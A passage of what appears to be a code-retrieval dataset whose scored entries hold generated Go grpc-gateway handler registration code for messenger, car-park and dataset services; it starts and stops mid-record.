grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_PushReceive_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_PushReceive_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_DirectoryServiceRegister_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_DirectoryServiceRegister_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_DirectoryServiceRegister_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_DirectoryServiceUnregister_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MessengerService_DirectoryServiceUnregister_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MessengerService_DirectoryServiceUnregister_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MessengerService_DirectoryServiceQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "b891a6070395e9e60356c30fe8092fb2", "score": "0.6461236", "text": "func RegisterCarPortServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server CarPortServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_CarPortService_AddCarPort_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_AddCarPort_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_AddCarPort_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CarPortService_UpdateCarPort_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_UpdateCarPort_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_UpdateCarPort_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CarPortService_GetCarPort_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_GetCarPort_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_GetCarPort_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CarPortService_MGetCarPort_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_MGetCarPort_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_MGetCarPort_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CarPortService_UpdateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_UpdateUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_UpdateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CarPortService_GetUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_GetUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_GetUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CarPortService_MGetUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_MGetUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_MGetUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CarPortService_AddPark_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_AddPark_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_AddPark_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CarPortService_UpdatePark_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_UpdatePark_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_UpdatePark_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CarPortService_GetPark_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_GetPark_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_GetPark_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CarPortService_MGetPark_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_MGetPark_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_MGetPark_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CarPortService_GetBill_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_GetBill_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_GetBill_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CarPortService_MGetBill_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_MGetBill_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_MGetBill_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CarPortService_UserInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_UserInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_UserInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CarPortService_MetaInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_MetaInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_MetaInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CarPortService_ParkInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_ParkInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_ParkInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CarPortService_BillInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_BillInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_BillInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CarPortService_Park_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_Park_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_Park_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CarPortService_PickUp_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_PickUp_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_PickUp_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CarPortService_Pay_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CarPortService_Pay_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CarPortService_Pay_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "498769f84884f89330e6a233ba37eb81", "score": "0.6456928", "text": "func RegisterHandler(server *grpc.Server) (closer func()) {\n\t// TODO: Methods to register gRPC handlers come here.\n\n\treturn func() { closeAll() }\n}", "title": "" }, { "docid": "8c56ca0fe601ec9313b83f61fdbac5cb", "score": "0.6454538", "text": "func RegisterDatasetServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server DatasetServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_DatasetService_CreateNewDataset_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_CreateNewDataset_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_CreateNewDataset_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_DatasetService_Dataset_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_Dataset_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_Dataset_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_DatasetService_GetCurrentVersionOfDataset_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_GetCurrentVersionOfDataset_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_GetCurrentVersionOfDataset_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_DatasetService_Datasets_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_Datasets_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_Datasets_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_DatasetService_DatasetVersions_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_DatasetService_DatasetVersions_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DatasetService_DatasetVersions_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DatasetService_UpdateDatasetField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer 